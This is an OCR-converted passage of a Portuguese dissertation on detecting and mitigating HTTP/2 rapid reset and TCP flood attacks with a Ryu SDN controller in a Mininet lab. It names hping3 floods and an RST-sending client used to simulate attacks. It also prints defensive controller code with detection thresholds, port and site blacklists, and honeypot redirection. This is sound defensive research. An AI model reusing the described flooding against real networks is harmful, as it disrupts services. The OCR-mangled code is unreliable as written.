trolado, ideal para simular ataques sem riscos para a rede real.

¢ Controlador

O controlador Ryu: foi escolhido devido a sua flexibilidade e programabi-
lidade, permitindo a criagdo de scripts para monitorizar e mitigar ataques
HTTP/2 rapid reset. Com suporte ao protocolo OpenFlow, ampla adogdo e
uma comunidade ativa, Ryu facilita a implementacdo e manutengdo de am-
bientes de teste. Suas capacidades de monitorizagdo e andlise detalhada de
pacotes, junto com a escalabilidade e desempenho, sdo cruciais para simular
ataques em larga escala. Além disso, sua integragdo com VMs no VMware
e o emulador Mininet permite criar um ambiente de testes isolado e contro-
lado. A facilidade de uso e implementacdo em Python, aliada ao histérico
de sucesso em diversos estudos e projetos, reforca a escolha do Ryu como a
solucdo ideal para a mitigagdo de ataques cibernéticos.

¢ Protocolo

OpenFlow foi utilizado, dado que tem uma menor curva de aprendizagem e
este protocolo é suportado por uma maior tipo de dispositivos. O P4 exige
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hardware especifico e tem um ciclo de desenvolvimento associado que é
complexo de manter.

¢ Rede virtual

Emulador Mininet: permitird criar uma rede virtual e possibilitara testar
tipologias de rede.

¢ Simular o ataque

Para simular o ataque HTTP/2 rapid reset, foram desenvolvidos dois scripts,
um para o cliente e outro para o servidor. O script do cliente é responséavel
por iniciar uma ligacdo HTTP/2 com o servidor e enviar uma série de fra-
mes RST-STREAM rapidamente para interromper os streams estabelecidos.
Este script foi projetado para gerar um volume significativo de trafego de
reset, simulando um ataque realista. Adicionalmente, a ferramenta hping3
foi utilizada para gerar trdfego de rede adicional e intensificar o ataque, in-
cluindo tipos especificos de ataques como SYN Flood, ACK Flood e FIN Flood,
tornando a simulagdo ainda mais préxima de um cendrio real. A utilizagado
do controlador Ryu, com suas capacidades avancadas de monitorizacdo e
controlo de trafego, permite ajustar dinamicamente os parametros do ata-
que e implementar estratégias de mitigacdo em tempo real. A integragdo
com VMs no VMware e o emulador Mininet proporciona um ambiente de
teste isolado e controlado, garantindo que os ataques ndo afetem a rede
real. Esta abordagem nao s¢ valida a eficdcia dos mecanismos de mitigacgao,
como também demonstrou a capacidade de mitigar eficazmente os ataques
SYN Flood, ACK Flood e FIN Flood gerados pelo hping3, evidenciando a ro-
bustez do Ryu em gerir ataques cibernéticos complexos.

e Andlise de Pacotes com Wireshark

Wireshark: esta ferramenta de anédlise de rede sera usada para capturar e
analisar pacotes de rede. Com o Wireshark, podemos inspecionar detalha-
damente os pacotes HTTP /2 para identificar padrdes caracteristicos do ata-
que HTTP/2 rapid reset.

Diagnoéstico e Compreensdo do Ataque: A andlise de pacotes permitird en-
tender melhor o ataque e verificar a eficdcia das medidas de mitigacéo.

¢ Desenvolvimento da estratégia de Mitigacao

Utilizaremos Python para desenvolver a estratégia de mitigacado, através de
um script e recorrendo ao controlador Ryu.

Resposta ao Ataque: O script monitorizaré o trdfego na rede através do con-
trolador Ryu. Na componente prética da minha dissertagdo, os padrdes de
trdfego anormais sdo detetados utilizando técnicas de comportamento his-
térico do trafego para identificar desvios significativos. Especificamente,
utilizamos algoritmos de clustering e detecdo de anomalias para monito-
rar métricas como taxa de pacotes, volume de trafego, e tempo de resposta.
Quando um ataque é detetado, seja por padrdes de trdfego anormais ou por
alertas de uma API, o script bloqueia as ligagdes no controlador.
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¢ Implementacdo e Testes Implementagdo da estratégia de mitigagdo: Apods
o desenvolvimento da estratégia, o script serd avaliado e testado num ambi-
ente de testes.

Testes e Ajustes: Realizaremos testes para avaliar a eficacia do script na de-
tecdo e mitigacdo do ataque HTTP/2 rapid reset. Com base nos resultados
recolhidos com o foco na seguranga e performance, faremos os ajustes ne-
cessdrios para melhorar a resposta do sistema.

Este ambiente de testes proporcionara uma visdo abrangente da dindmica
do ataque HTTP/2 rapid reset e da eficacia das estratégias de mitigacdo. A
combinacdo de VMware, Ryu, Wireshark e a programacdo em Python criara
um ecossistema robusto para desenvolver, testar e aperfeigoar um sistema
de prevencdo de intrusdes eficaz contra este tipo especifico de ataque.

4.2 Metodologia DSR

A metodologia DSR é uma abordagem de pesquisa utilizada principalmente em
disciplinas como sistemas de informagéao e tecnologia da informacado. Tem como
principal objetivo o desenvolvimento e a avaliagdo de tecnologias, sistemas ou
processos para resolver problemas identificados. A DSR é particularmente rele-
vante para projetos que visam inovar ou melhorar praticas existentes através da
criacdo de solugdes préticas.

Os principais componentes da metodologia DSR incluem:

¢ Identificagdo do Problema e Motivacdo: Esta fase envolve a identificagdo
clara do problema a ser resolvido e a justificagdo para a necessidade de uma
solucdo. Neste ponto, é crucial entender o contexto e as necessidades dos
utilizadores finais.

* Definicdo dos Objetivos da Solugdo: Apés identificar o problema, sdo de-
finidos os objetivos da solugdo. Estes objetivos devem ser mensuréveis e
alcancéveis, e servem como elemento base para o desenvolvimento do arte-
facto.

¢ Design e Desenvolvimento: Nesta etapa, o artefacto (seja um processo, pro-
duto, modelo ou método) é criado. O design deve ser interativo, permitindo
ajustes com base no feedback e nas descobertas feitas durante o processo de
desenvolvimento.

* Demonstracdo: O artefacto desenvolvido é demonstrado num contexto que
simula ou replica um ambiente real, pois s6 assim é possivel mostrar como
o artefacto resolve o problema.

* Avaliagdo: A avaliagdo envolve testar a eficdcia do artefacto em responder
aos objetivos definidos. A avaliagdo pode incluir métodos quantitativos e
qualitativos para recolher dados sobre o desempenho e a utilidade do arte-
facto.
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¢ Comunicagdo: Os resultados do projeto, incluindo o conhecimento gerado
pelo desenvolvimento e avaliacdo do artefacto, sdo comunicados a ptblicos
relevantes, como académicos e profissionais.

Virias atividades neste projeto da dissertagdo foram moldadas tendo por base os
principios da abordagem DSR:

* Recolha de Dados: A utiliza¢do de tecnologias SDN, juntamente com o con-
trolador Ryu e protocolo openflow é crucial para a recolha eficiente de mé-
tricas e andlise de trafego de rede. Estas tecnologias permitem uma visdo
detalhada do trafego, facilitando a identificagdo de padrdes suspeitos.

¢ Andlise e Investigacdo: O desenvolvimento de scripts em Python para ana-
lisar trafego HTTP /2 é uma etapa vital. A andlise de cabecalhos de pacotes,
frequéncia de requisi¢des e tamanhos de payloads pode revelar atividades
anormais ou maliciosas, que sdo indicativos de botnets.

¢ Implementacdo e Avaliacdo: Integrar a metodologia no controlador SDN
Ryu e realizar avaliagdes experimentais é fundamental para testar a efica-
cia das solugdes propostas. Isso permite ajustar e melhorar os modelos e
estratégias de detecdo e prevencao.

¢ Documentagdo e Comunicagdo: A documentagdo detalhada de todas as fa-
ses do projeto é essencial para a disseminagdo do conhecimento. O resul-
tado dos dados contribui, ndo s6 para a comunidade académica, mas tam-
bém para profissionais da 4rea de seguranga cibernética que podem aplicar
esses conhecimentos em cendrios reais.

A abordagem prevista no contexto deste trabalho é particularmente relevante no
contexto atual da seguranca cibernética, onde as botnets representam uma ameaca
significativa. A utilizagdo da SDN para detecdo e prevencdo de botnets oferece
uma nova dimensdo de flexibilidade e eficdcia, permitindo uma resposta mais
rédpida e adaptdvel a ameacas emergentes.
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Implementacao do Ambiente de
testes

5.1 Metodologia

Esta sec¢do, descrevemos detalhadamente a metodologia e as etapas necessarias
para a implementa¢do do ambiente de testes. Exploramos a configuracdo do con-
trolador Ryu, a integracdo de script de detecdo e mitigagdo, e a validagao das
medidas implementadas..

5.1.1 Descricao do Ambiente de Testes

Ferramentas Utilizadas

Para a criagdo do ambiente de testes foram utilizadas as seguintes ferramentas:

* Mininet: Ferramenta de emulagdo de rede que permite a criagdo de uma
rede virtual de switches, hosts, links e controladores em um tinico sistema
[min, 2022].

Aplicacdo no Ambiente de Testes: No ambiente de testes, Mininet foi
utilizado para simular uma rede completa, possibilitando a criagdo de topo-
logias complexas de rede sem a necessidade de hardware fisico. Esta capa-
cidade de emulagdo permitiu testar e validar diferentes cendrios de ataque
e defesa de forma eficiente e econémica.

* Ryu: é um controlador de redes definido por software SDN que oferece
uma plataforma para o desenvolvimento de aplicativos de rede flexiveis e
programaveis [ryu].

Aplicacdo no Ambiente de Testes: No ambiente de testes, Ryu foi utili-
zado como o controlador SDN principal. Ele gere o comportamento da rede
em tempo real, implementando politicas de rede, roteamento e resposta a
incidentes de seguranca. A flexibilidade do Ryu permitiu a integragdo de
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scripts personalizados para a mitigacdo de ataques e a monitorizag¢do do tra-
fego de rede.

¢ Flask: é um micro framework web programado em Python, projetado para
ser leve e facil de usar para o desenvolvimento de aplica¢des web [fla, 2024].

Aplicacdo no Ambiente de Testes: Flask foi utilizado para criar uma
interface grafica para a monitorizacdo e controlo do ambiente de testes. A
interface desenvolvida com Flask permitiu a visualizagdo em tempo real do
estado da rede, dos eventos de seguranga e das métricas de desempenho,
além de possibilitar a interacdo com os controles de mitigacdo e resposta a
incidentes.

Topologia da Rede Criada para os Testes

A topologia da rede criada consiste num tnico switch ligado a cinco hosts. Um
dos hosts estd configurado como Network Address Translation (NAT) e possui
uma ligacdo direta a internet. Esta configuracdo é fundamental para testar eficaz-
mente as funcionalidades e 0os mecanismos de seguranca implementados.

Configuracdo do Host NAT:

O host configurado como NAT atua como um gateway para a internet, permitindo
que os outros hosts da rede interna acessem recursos externos. Esta configura-
¢do cria um cendrio realista em que um segmento da rede tem acesso a internet,
similar a muitas implementagdes de rede do mundo real.

#!/usr/bin/env python

5 from mininet.net import Mininet

19
20
21

22

24
25

26

from mininet.node import Controller, OVSSwitch, RemoteController
from mininet. cli import CLI

from mininet.log import setLogLevel, info

from mininet.clean import Cleanup

import time

def clear_flows(net):
"""Clear flows from all switches in Mininet.
print ("Clearing all flow entries...")
for sw in net.switches:
sw.and( ‘ovs—ofctl del-flows %s’ % sw.name)

"nuon

def create_topology ():
"""Create and start a Mininet topology.
net = Mininet(controller=RemoteController, switch=0VSSwitch, build=
False)

"o

# Add Controller
c0 = net.addController(’cO’, controller=RemoteController, ip=
127.0.0.1", port=6633)

7

# Add hosts and switch
hosts = [net.addHost( 'h%d” % i) for i in range(1l, 5)]
switch = net.addSwitch(’s1”)
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# Add links
for h in hosts:
net.addLink (switch, h)

net.build ()
net.addNAT () . configDefault ()

net.start ()

return net

def test_network(net):

if

"non

"""Run network tests such as ping and iperf.
print ("Rapid Reset attack...")

# Send TCP RST packets from h2 to hl

hl, h2 = net.get(’hl’,’h2")

hl.cmd(’python3 Tools/ServerRR.py &)
__name__ == '__main__
setLogLevel (“info’) # Set the log level to info to see outputs

7

# Create and configure the network
net = create_topology ()

test_network (net)

# Open the CLI for interactive input
CLI(net)

# Stop the network
net.stop ()

# Cleanup any remnants of previous Mininet runs
Cleanup . cleanup ()

# Clear flows and run tests
clear_flows (net)

print ("Mininet stopped.")
Listing 5.1: Mininet Script

Explicacao do script Python

O script Python é estruturado em vérias fungdes e métodos que juntos implemen-
tam as funcionalidades de monitorizacdo, detecdo e mitigacdo de ataques na rede.
A seguir, detalhamos cada um desses componentes.

O script é composto pelos seguintes médulos e fung¢des principais:

¢ Inicializa¢do e configuracdo
¢ Gestdo de conexdo com Switches

* Manipulagdo de pacotes
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¢ Funcionalidades de seguranca

* Gestdo de logs e regras de firewall

Explicacdo do Método __init__ e Varidveis Iniciais

O método __init__ inicializa as varidveis de instancia necessdrias para o funcio-
namento do controlador. Configura estruturas de dados para mapear enderecos
MAC a portas, contar pacotes IP por endereco IP, rastrear pacotes TCP RST e
armazenar resultados de andlise, através destes paradmetros podemos adaptar o
tempo de resposta ao ataque dinamicamente consoante a tipologia de rede.

1 def __init__ (self , xargs, =*+kwargs):

2 super (IntegratedSwitch , self).__init__ (+args, =+kwargs)
self .mac_to_port = {}
self .ip_packet_counts = defaultdict(lambda: defaultdict(int))
self . tcp_rst_counts = defaultdict(lambda: defaultdict(lambda:
defaultdict(list)))

6 self.ddos_threshold = 40

7 self .rapid_reset_threshold = 10

8 self .logger.setLevel (logging .DEBUG)

9 self .datapaths = {}

10 self .blocked_sources = defaultdict(set)

1 self . port_blacklist = {21, 23}

self .honeypot_ip = "10.0.0.4"

self.interface = ’sl-eth4’

14 self.sites_blacklist = {r"facebook.com"}
self . results = {}

16 self . http2_connections = {}

17 self .rapid_reset_counts = defaultdict(list)

18 self.reset_threshold = 5

19 self .topology_data = {’links": []}

20 self .topology_logs = {'nodes’: []}

Listing 5.2: Script Mitigagao - Varidveis

Configuracao de logging e estruturas de dados

Neste método, o nivel de logging é configurado para DEBUG, e sdo inicializadas
varias estruturas de dados para armazenar informagdes sobre o trafego e os ata-
ques detetados.

5.1.2 Gestao de switches

O método switch_features_handler é chamado quando um novo switch se liga ao
controlador. Ele instala um fluxo para lidar com pacotes desconhecidos e fluxos
especificos para bloquear trafego para portas em listas negras.

1 @set_ev_cls (ofp_event. EventOFPSwitchFeatures, CONFIG_DISPATCHER)

> def switch_features_handler (self , ev):

datapath = ev.msg.datapath
4 ofproto = datapath.ofproto

S
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parser = datapath.ofproto_parser

match = parser.OFPMatch ()
actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER, ofproto.

OFPCML_NO_BUFFER) ]

self .add_flow (datapath, 0, match, actions)

for port in self.port_blacklist:
self .logger.info (f"Register blacklist ports: {port}")
match = parser.OFPMatch(eth_type=ether_types.ETH_TYPE_IP,

ip_proto=in_proto .IPPROTO_TCP, tcp_dst=port)

self .add_flow (datapath, 1, match, [])

match = parser.OFPMatch(eth_type=ether_types.ETH_TYPE_IP,

ip_proto=in_proto .IPPROTO_UDP, udp_dst=port)

self .add_flow (datapath, 1, match, [])

self .update_fwrules ("Any", "Any", "Any", port, "TCP/UDP",

Black List", "Drop", rule=True)

Listing 5.3: Script mitigacdo - gestdo switches

5.1.3 Manipulacao de pacotes

O método detect_packet_type é responsavel por identificar o tipo de pacote re-
cebido (IP, TCP, etc.), essencial para aplicar politicas de seguranga adequadas.

¢ Classificacdo de pacotes: Em uma rede, diferentes tipos de pacotes (e.g.,

ARP, IPv4, TCP, UDP) circulam constantemente. Identificar o tipo de pa-
cote permite que o sistema classifique e trate cada um de acordo com suas
caracteristicas e requisitos especificos.

Aplicacao de politicas de seguranca: Cada tipo de pacote pode exigir po-
liticas de seguranca diferentes. Por exemplo, pacotes TCP podem ser ve-
rificados para detetar ataques de rapid reset, enquanto pacotes ARP podem
ser monitorados para prevenir ataques de spoofing. Sem a identificagdo cor-
reta do tipo de pacote, seria impossivel aplicar a politica de seguranga ade-
quada.

Detecao de anomalias: A detegdo de padrdes anémalos de trafego depende
da correta identificacdo do tipo de pacote. Por exemplo, um ntimero anor-
malmente alto de pacotes RST (Reset) em conexdes TCP pode indicar um
ataque. Sem distinguir pacotes TCP de outros tipos, tais anomalias pode-
riam passar despercebidas.

1 def detect_packet_type(self, pkt):

eth = pkt.get_protocols(ethernet.ethernet)[0]

if eth ethertype == ether .ETH TYPE ARP:
return "ARP"

elif eth.ethertype == ether .ETH_TYPE IPV6:
return "IPvé6"

elif eth.ethertype == ether .ETH_TYPE MPLS:
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return "MPLS"
elif eth.ethertype == ether .ETH TYPE LLDP:
return "LLDP"
elif eth.ethertype == ether .ETH_TYPE_IP:
ip = pkt.get_protocol (ipv4.ipv4)
if ip:
if ip.proto ==
return "TCP"
elif ip.proto == 17:
return "UDP"
elif ip.proto == 1:
return "ICMP"
elif ip.proto == 2:
return "IGMP"
elif ip.proto == 132:
return "SCTP"
elif ip.proto == 2048:
return "ARP2"
return "IPv4"
else:
return "Unknown Ethernet Type"

Listing 5.4: Script mitigacao - identificacdo pacotes

Mapeamento MAC-to-Port

O método packet_in_handler atualiza o mapeamento de enderecos MAC para
portas, essencial para a funcionalidade de comutacéo.

Identificacdo e bloqueio de sites/Ips em listas negras

O método _siteblocked verifica se o trafego estd direcionado a sites ou enderecos
ips em listas negras e bloqueia o trdfego conforme necessédrio. Este género de
listas é essencial para manter o tempo de resposta do controlador otimizado.

def _siteblocked (self, pkt, msg, site):
try:
eth_pkt = pkt.get_protocol(ethernet.ethernet)
ip_pkt = pkt.get_protocol (ipv4.ipv4)
tcp_pkt = pkt.get_protocol (tcp.tcp)

if eth_pkt and ip_pkt and tcp_pkt:

tcp_header_length = tcp_pkt.offset » 4

ethernet_header_length = 14

ip_header_length = 20

payload_start = ethernet_header_length + ip_header_length +
tcp_header_length

total_packet_length = len(msg.data)

payload_length = total_packet_length - payload_start

payload_data = msg.data[payload_start: payload_start +
payload_length ]. decode (' utf-8’, errors="ignore’)

if re.search(site, payload_data, re.IGNORECASE) :

self .logger.info (f"Blocked traffic to {site}")
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return True
except Exception as e:
self .logger.error (f"Error processing packet: {e}")
return False

Listing 5.5: Script mitigagao - lista negra

5.1.4 Funcionalidades de Seguranca

Detecao e Mitigacao de Ataques DDoS

O método packet_in_handler detecta aumentos no niimero de pacotes IP de um
determinado IP de origem para um IP de destino e bloqueia a fonte se o ntimero
exceder um limite definido.

if eth.ethertype == ether_types . ETH_TYPE_IP:
ip_pkt = pkt.get_protocol (ipv4.ipv4)
self .ip_packet_counts[ip_pkt.src][ip_pkt.dst] += 1
self .update_fwrules (ip_pkt.src, "Any", ip_pkt.dst, "Any", protocol,
"Any", "Drop", rule=False)

for src_ip, dst_dict in self.ip_packet_counts.items():
for dst_ip, count in dst_dict.items():
if count > self.ddos_threshold:
self .block_source(datapath.id, src_ip, dst_ip, "Any",
protocol, "DDOS", is_rapid_reset=False)

Listing 5.6: Script mitigacdo - niimero pacotes

Detecao de resets rapidos de TCP

O método detect_rapid_reset é responsavel pela detegdo de rapid reset em cone-
x0es TCP, ndo se limitando ao HTTP /2. Alguns pontos chave desta fungéo:
Processamento de pacotes TCP:

Analisa pacotes TCP para identificar flags de reset (RST). Monitoriza resets em
diferentes portas e enderecos IP.

Contagem de resets:

Mantém contadores de resets por endereco IP de origem e destino e por porta de
destino. Avalia se o nimero de resets em um curto periodo indica um comporta-
mento anormal.
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Detecao de padrdes suspeitos:

Deteta padrdes de resets que podem indicar tentativas de ataque, como mltiplos
resets em portas distintas ou combinagdes suspeitas de flags (como RST+SYN).

Acdo e mitigacao:

Toma medidas como bloquear o IP de origem ou redirecionar o trafego suspeito
para um honeypot. Ajusta politicas de rede com base na dete¢do de padrdes sus-
peitos.

g W N
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def detect_rapid_reset(self, tcp_pkt, ip_src, ip_dst, dst_port,
protocol , datapath_id):

"""Detects rapid TCP resets."""

flags = tcp_pkt.bits

rst = flags & tcp.TCP_RST

ack = flags & tcp.TCP_ACK

syn = flags & tcp.TCP_SYN

threshold_count = 2 # Number of RSTs to consider before taking
action

threshold _time = 30 # Time window (in seconds) to consider for
rapid resets

current_time = time.time() # Current time for timestamping RST
packets

# Record timestamp before executing the defense mechanism
start_time = time.time ()

# Detect unusual RST packets
if rst:
# Append the time of the RST packet to the appropriate list
self . tcp_rst_counts[ip_src][ip_dst][dst_port].append(
current_time)

# Evaluate whether multiple distinct ports are targeted by
checking port count over threshold

ports_over_threshold = {port: times for port, times in self
.tcp_rst_counts[ip_src][ip_dst].items() if len(times) >
threshold_count}

# If multiple distinct ports are involved
if len(ports_over_threshold) > 3:
formatted_ports = ’, ’.join(str(port) for port in
ports_over_threshold .keys())
self .logger.warning (f"Rapid reset attack likely from |{
ip_src} to {ip_dst} on multiple ports: {formatted_ports}")
self .block_source(datapath_id, ip_src, ip_dst, "Any",
protocol, "RST-PORTS", is_rapid_reset=False)
execution_time = time.time() — start_time
self .append_to_json_file(“analise.json’, {"RST-
PORTS_Execution_Time": execution_time})
self .logger.info (f"Defense mechanism execution time: |{

execution_time} seconds")

# Check the specific port’s activity
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if len(self.tcp_rst_counts[ip_src][ip_dst][dst_port]) >
self .rapid_reset_threshold:
self .logger.warning (f"Rapid reset attack likely from {
ip_src} to {ip_dst}:{dst_port}: {len(self.tcp_rst_counts[ip_src]]
ip_dst][dst_port])} RSTs in last {threshold_time} seconds")
self .block_source(datapath_id , ip_src, ip_dst, dst_port
, protocol, "RST-COUNI", is_rapid_reset=True)
execution_time = time.time() — start_time
if len(self.tcp_rst_counts[ip_src][ip_dst][dst_port]) <
15:
self .append_to_json_file(’analise.json’, {"RST-
COUNT-HONEYPOT_Execution_Time": execution_time})
else:
self .append_to_json_file("analise.json’, {"RST-
COUNT-15_Execution_Time": execution_time})
self .logger.info (f"Defense mechanism execution time: |{
execution_time} seconds")

# Detect specific patterns of malicious resets
if rst and ack and not syn:
# An RST+ACK packet without SYN could indicate an
attempt to disrupt an established connection
self .logger.warning (f "RST+ACK without SYN detected from

{ip_src}")

self .block_source(datapath_id, ip_src, ip_dst, dst_port
, protocol, "RST-ACK", is_rapid_reset=False)

execution_time = time.time() - start_time

self .append_to_json_file( analise.json’, {"RST-
ACK_Execution_Time": execution_time})

self .logger.info (f"Defense mechanism execution time: {
execution_time} seconds")

if rst and syn:

# A packet with both RST and SYN flags could be part of
a scanning or spoofing attack

self .logger.warning (f"Suspicious RST+SYN packet
detected from {ip_src}")

self .block_source(datapath_id , ip_src, ip_dst, dst_port
, protocol, "RST-SYN", is_rapid_reset=False)

execution_time = time.time() - start_time

self .append_to_json_file( analise.json’, {"RST-
SYN_Execution_Time": execution_time })

self .logger.info (f"Defense mechanism execution time: |{
execution_time} seconds")

Listing 5.7: Script mitigacado - bloqueio

S}

Bloqueio ou limitagao de trafego suspeito

O método block_source bloqueia a fonte de trafego suspeito ou redireciona tra-
fego para um honeypot consoante o numero de ataques.

def block_source(self , dpid, src_ip, ip_dst, dst_port, protocol,
details , is_rapid_reset=False):
if dpid not in self.datapaths:
self .logger.error (f"Datapath {dpid} not found. Cannot block or

redirect source: {src_ip}:{dst_port}")
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return
priority = 1000
datapath = self.datapaths[dpid]
parser = datapath.ofproto_parser
ofproto = datapath.ofproto

if dst_port is not None and dst_port not in self.port_blacklist and
is_rapid_reset:
if len(self.tcp_rst_counts[src_ip][ip_dst][dst_port]) < 15:
self .create_apply_meter (datapath, rate=100)

match = parser.OFPMatch(eth_type=ether_types.ETH_TYPE_IP,
ipv4_src=src_ip , ip_proto=in_proto .IPPROTO_TCP, tcp_dst=dst_port)
actions = [
parser . OFPActionSetField (ipv4_dst=self.honeypot_ip),
parser . OFPActionOutput (ofproto . OFPP_CONTROLLER)
]
inst = [
parser . OFPInstructionActions (ofproto.
OFPIT_APPLY_ACTIONS, actions),
parser . OFPInstructionMeter (meter_id=1)
]
mod = parser .OFPFlowMod (datapath=datapath, priority=
priority , match=match, instructions=inst)
datapath .send_msg(mod)
self .update_fwrules(src_ip, "Any", self.honeypot_ip,
dst_port, protocol, details, "Speed 100kbs Redirect", rule=True)
elif len(self.tcp_rst_counts[src_ip][ip_dst][dst_port]) > 15:
self .logger.info (f"Blocking traffic from {src_ip }:{dst_port
1)
priority = 1001
match = parser.OFPMatch(eth_type=ether_types.ETH_TYPE_IP,
ipv4_src=src_ip)
actions = []
self .add_flow(datapath, priority , match, actions)
self .update_fwrules(src_ip, "Any", self.honeypot_ip,
dst_port, protocol, details, "Drop", rule=True)
self .blocked_sources[dpid].add ((src_ip, dst_port))
else:
match = parser.OFPMatch(eth_type=ether_types.ETH_TYPE_IP,
ipv4_src=src_ip , ipv4_dst=ip_dst)
actions = []
self .add_flow (datapath, priority , match, actions)
self .update_fwrules(src_ip, "Any", ip_dst, dst_port, protocol,
details , "Drop", rule=True)

Listing 5.8: Script mitigacdo - limitagdo velocidade e honeypot

5.1.5 Gestao de logs e regras de firewall

Atualizacdo de regras de firewall

O método update_fwrules atualiza as regras de firewall e regista eventos signifi-
cativos e atualiza¢des, como podemos verificar na figura 5.1.
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SDN - Ryu Firewall rules

Source IP Source Port Destination IP Destination Port Protocol Details Action
Any Any Any 21 TCPIUDP. Black List Drop
Any Any Any 2 TCPIUDP. Black List Drop
10005 Any 100010 8080 Tcp RST-ACK Drop
10002 Any 100010 8030 TP RST-ACK Drop

1000.10 Any 10256265255 Any uop DDOS Drop

Fiter Rules:

Logs

Source Ip Destination IP Destination Port Protocal
100010 22400251 Any uop
10005 100010 Ay Top
10005 100010 3080 Top
100010 10005 Any Top
100010 10005 37372 TCP
10005 100010 Any Top
10005 1000.10 3050 Top
10005 100010 Any Tcp
10005 100010 3080 Top
100010 10005 Ay Top
100010 10005 37312 Tcp
10.00.10 10005 Any TCP

Figura 5.1: Firewall

1 def update_fwrules(self , src_ip, src_port, dst_ip, dst_port, protocol,
site , action, rule=False):

2 if not rule:

3 node_ids = set ((node[ "Source Ip’], node[ Destination Ip’], node
[ "Destination Port’], node[ Protocol’])

4 for node in self.topology_logs[ nodes’])

5 node_key = (src_ip, dst_ip)

6 self .topology_logs[ 'nodes’].append ({ "Source Ip’: src_ip, ’

Destination Ip’: dst_ip,
"Destination Port’:

~

dst_port, 'Protocol’: protocol})

8 node_ids.add(node_key)

9

10 with open(’logs.json’, 'w’) as f:

11 json.dump(self.topology_logs, f)

12

13 existing_links = set(

14 (link[ "Source Ip’], link[’Source Port’], link[’Destination Ip’
], link[’Destination Port’], link[’Protocol’])

15 for link in self.topology_data[ links "])

16

17 new_link = (src_ip, src_port, dst_ip, dst_port, protocol)

18

19 if new_link not in existing_links and rule:

20 self .topology_data[ "links " ].append ({

21 "Source Ip’: src_ip,

22 "Source Port’: src_port,

23 "Destination Ip’: dst_ip,

24 "Destination Port’: dst_port,

2 "Protocol’: protocol,

2 "Site’: site,

27 "Action’: action

28 i

29 self .logger.info (f"Added new link: {new_link}")

30

31 with open(’fw_rules.json’, 'w’) as f:

32 json .dump(self.topology_data, f)

Listing 5.9: Script mitigacdo - utualiza regras e eventos
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Log de eventos e atualizacdes significativas

Os logs sdo essenciais para monitorizar e diagnosticar o comportamento da rede.
O método update_fwrules inclui a funcionalidade de registo de a¢des para a con-
sola ou para o ambiente grafico para registar eventos significativos e atualiza¢Ges
de regras.

5.2 Detecao de ataques HTTP/2 rapid reset

A funcao http2_rr foi desenvolvida especificamente para lidar com pacotes HTTP /2
e detetar ataques de rapid reset no contexto de ligacdes HTTP /2. Esta funcao é
crucial para identificar rapidamente os padrdes de trafego maliciosos associados

a este tipo de ataque, permitindo a aplicacdo de medidas de mitigacdo em tempo
real.

Processamento de pacotes HTTP/2:

Extrai e processa o payload dos pacotes TCP para identificar eventos especificos
do protocolo HTTP /2. Utiliza a biblioteca h2 para interpretar frames HTTP /2.

Detecdo de eventos HTTP/2:

Deteta eventos como StreamReset, StreamEnded, DataReceived, RequestReceived, e
ConnectionTerminated. Para cada evento, realiza a¢des especificas, como registar o
evento ou aumentar contadores de rapid reset.

Contagem e avaliacao de rapid reset:

Mantém um registo de tempos de rapid reset para avaliar se hd um ataque ocor-
rendo. Se o nimero de resets em um curto periodo exceder um limite definido, é
identificado como um possivel ataque.

Acdo e mitigacao:

Em caso de detecdo de um possivel ataque, pode tomar medidas de mitigacao,
como registar o evento e ajustar politicas de rede.
def http2_rr(self , msg):

"""Handles HTIP/2 rapid resets."""
dp = msg.datapath

pkt = packet.Packet(msg.data)

eth = pkt.get_protocol(ethernet.ethernet)
start_time = time.time ()

if eth.ethertype != 0x0800: # Not IPv4

return
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ip = pkt.get_protocol(ipv4.ipv4)
if ip.proto != 6: # Not TCP
return

tcp_pkt = pkt.get_protocol (tcp.tcp)
if not tcp_pkt:
return

ip_header_length = ip.header_length = 4

tcp_header_length = tcp_pkt.offset = 4

tcp_payload_start = 14 + ip_header_length + tcp_header_length
tcp_payload = msg.data[tcp_payload_start:]

connection_id = (dp.id, ip.src, ip.dst, tcp_pkt.src_port,
tcp_pkt.dst_port)

if connection_id not in self.http2_connections:
self .http2_connections[connection_id] = H2Connection ()
self . http2_connections[connection_id ]. initiate_connection ()

h2_conn = self.http2_connections|[connection_id ]

try:
events = h2_conn.receive_data (tcp_payload)
h2_conn. clear_outbound_data_buffer ()

event_occurred = False # Flag to check if any event
occurred

for event in events:
if isinstance (event, h2.events.StreamReset):
self .logger.error (f"Stream {event.stream_id} reset:
Error code {event.error_code}")

current_time = time.time ()
self .rapid_reset_counts[connection_id ].append(
current_time)

self .rapid_reset_counts[connection_id] = [
t for t in self.rapid_reset_counts]|
connection_id] if current_time - t < self.rapid_reset_threshold
]

if len(self.rapid_reset_counts[connection_id]) >
self .reset_threshold:
self .logger.warning(f"Potential rapid reset
attack detected for connection {connection_id}")
self .block_source(dp.id, ip.src, ip.dst,
tcp_pkt.dst_port, "TCP", "Rapid Reset Detected", is_rapid_reset=
True)
event_occurred = True

elif isinstance (event, h2.events.StreamEnded):
self .logger.info (f"HTTP/2 stream {event.stream_id}
ended on {connection_id}")
h2_conn.end_stream (event.stream_id)
event_occurred = True
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57 elif isinstance(event, h2.events.DataReceived):

58 self .logger.info(f"Data received on stream {event.
stream_id }: {len(event.data)} bytes")
59 event_occurred = True

60

61 elif isinstance (event, h2.events.RequestReceived):

62 self .logger.info (f"Request received on stream {
event.stream_id }: {event.headers}")

63 event_occurred = True

65 elif isinstance (event, h2.events.ConnectionTerminated) :

66 self .logger.info (f"Connection {connection_id}
terminated , error code {event.error_code}")

67 if connection_id in self.http2_connections:

68 del self.http2_connections[connection_id]

69 event_occurred = True

70

71 if event_occurred:

72 execution_time = time.time() — start_time # Calculate
execution time
73 self .append_to_json_file( analise.json”’, {"

HTTP2_RR_Execution_Time_Events": execution_time})

75 except h2.exceptions.ProtocolError as e:

76 self .logger.error (f"HITP/2 protocol error: {e}, Connection
ID: {connection_id}")

77 self . logger.error (f"Error details: {e.error_code} in state
{h2_conn.state_machine.state}")

79 current_time = time.time ()

80 self .rapid_reset_counts[connection_id ].append(current_time)

81 self .rapid_reset_counts[connection_id] = [

82 t for t in self.rapid_reset_counts[connection_id] if
current_time — t < 5

83 ]

84 if len(self.rapid_reset_counts[connection_id]) > self.
reset_threshold:

85 self .logger.warning (f"Potential rapid reset attack
detected for connection {connection_id}")

86 self .block_source(dp.id, ip.src, ip.dst, tcp_pkt.
dst_port, "TCP", "Rapid Reset Detected", is_rapid_reset=True)

87 execution_time = time.time () — start_time # Calculate
execution time

88 self .append_to_json_file("analise.json’, {"

HTTP2_RR_Execution_Time_Error": execution_time})

89

